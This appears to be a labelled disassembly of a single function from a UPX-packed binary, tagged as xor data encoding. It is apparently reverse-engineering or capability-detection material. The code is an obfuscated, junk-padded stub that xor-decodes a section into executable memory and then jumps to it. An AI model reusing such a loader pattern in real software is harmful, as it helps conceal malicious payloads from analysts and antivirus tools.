Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x79607c16
mov ebx, edx
add edx, 0x5272b4ff
inc edx
popal
add edx, 0xf0a9f2ac
sub ebx, 1
mov edi, 0
mov eax, esi
and ebx, ebx
and ebx, ebx
mov edx, eax
and ebx, ecx
not ecx
or ebx, ecx
mov esi, edx
dec ebx
add ecx, ebx
inc edi
and ebx, ebx
sub ebx, 0xee4ff7d4
and ebx, ebx
cmp edi, 0x1001f1e
jne 0x47b455
and ebx, ecx
or ebx, ecx
or edx, edx
not ebx
mov edi, 0x47b21e
and eax, ebx
or eax, eax
mov esi, 0x47b412
inc eax
or eax, ecx
mov edx, dword [edi]
mov ebx, 0x1f544d79
sub ebx, 0x3706345
sub ebx, ecx
and edx, 0xff
and ebx, eax
dec ebx
xor dword [esi], edx
inc ebx
not ebx
or ebx, eax
inc esi
inc ebx
dec ebx
add edi, 1
and eax, ecx
add ebx, eax
cmp esi, entry0
jl 0x47b498
or eax, ecx
add ecx, ecx
mov ebx, ecx
sub eax, 0x1c44c74f
add edi, esi
inc ebx
mov edx, 0x47b416
not ecx
and ecx, esi
and ebx, esi
mov edx, dword [edx]
mov ecx, edi
mov ebx, 0xba436e0c
not esi
mov edx, dword [edx]
mov ecx, 0xff854da4
add edi, 0x3b36864c
sub ebx, 0x57d7603e
push edx
mov edi, esi
and esi, ebx
mov edx, 0x47b412
mov ecx, 0x40a9b1dd
add esi, 0xe30a397c
mov ebx, edi
mov edx, dword [edx]
sub ecx, edi
or esi, ecx
mov edx, dword [edx]
add ecx, 1
mov edi, 0xeebb1f98
sub esp, 4
mov dword [esp], 0x47b41a
not ebx
or ebx, edi
sub ecx, 0x1a168b76
call edx
or edi, edi
add edi, ebx
sub esi, 0x895287c2
mov edx, dword [esp]
add esp, 4
sub ebx, 0xc9dbe79e
mov esi, ebx
push 0x47b427
add edi, ecx
or ecx, esi
push eax
mov ebx, 0xf4511b5
sub ebx, 0xc500a768
and esi, esi
call edx
add ebx, edi
mov edi, esi
push 0x40
not esi
sub ebx, edi
push 0x3000
add ebx, 0x8c0b2111
mov ebx, ecx
push 0x20000905
add ebx, 0xc4803070
dec esi
sub esp, 4
mov dword [esp], 0
inc esi
mov edi, 0x316eddfe
call eax
add edi, 1
sub esi, ebx
add eax, 0x20000876
and ecx, edi
or ebx, ecx
mov edx, 0xffc98317
add ecx, 0x2dc977d9
add ecx, 0xe5f22885
mov dword [eax], edx
inc ebx
mov ecx, edi
mov edx, dword [eax]
inc esi
add ebx, 0x110d4db3
cmp edx, 0xffc98317
je 0x47b5f1
mov ecx, 0
mov edx, dword [ecx]
and ebx, edi
mov ecx, 0xce12482d
mov ecx, 0xa918f1ef
add ecx, esi
add ebx, 0x2ff246ee
not ecx
inc ebx
sub edx, 0xe3a2fff6
or ebx, edx
mov ecx, section.UPX1
or edx, ebx
add ebx, edx
mov edx, ebx
mov edi, 0x47b21d
inc ebx
inc edx
sub ebx, 0xea7a3d0
mov eax, 0
sub edx, 0xdc23f0f
or edx, ebx
or edx, ebx
mov esi, 0x47b21e
mov ebx, edx
not edx
lea esi, [eax + esi]
dec edx
mov ebx, 0xaf9b8bd
mov esi, dword [esi]
inc edx
mov edx, ebx
not edx
and esi, 0xff
mov ebx, edx
and edx, ebx
inc eax
dec edx
sub edx, 0xb72d68f1
sub ebx, 0x4c00aabd
cmp eax, 0x1f4
jne 0x47b675
mov eax, 0
add ebx, 0x6bdab024
dec ebx
add edx, 0x720f98f5
or ebx, edx
sub edx, ebx
xor dword [ecx], esi
not edx
add ebx, edx
add ebx, 0xb1eb9a47
add ecx, 2
not ebx
mov edx, 0xb3e4eb23
sub edx, ebx
cmp ecx, edi
jl 0x47b637
not edx
add ebx, 0x8e90fbec
inc edx
not edx
add edx, 0x796263c
mov edi, section.UPX1
mov edx, 0xbf265c36
add edx, 0x9e8d5581
not edx
mov esi, section.UPX1
sub eax, 0xf2d0e234
and eax, eax
mov ecx, 0x47b21d
mov edx, eax
add edx, 1
sub edx, 1
mov ebx, 0
sub edx, 0x803b56e1
dec eax
mov bl, byte [esi]
sub edx, 0xcd214c20
or eax, eax
add eax, edx
mov byte [edi], bl
add edx, eax
and edx, eax
inc edi
or edx, eax
mov edx, 0xeff1a575
add esi, 2
mov eax, 0xb0e800ea
add eax, 1
cmp esi, ecx
jle 0x47b6f8
mov edx, 0xd2ce1cd6
dec eax
not ebx
inc ebx
sub esp, 4
mov dword [esp], 0x45e6a0
dec edx
mov ebx, edx
sub ebx, 0x107200b5
ret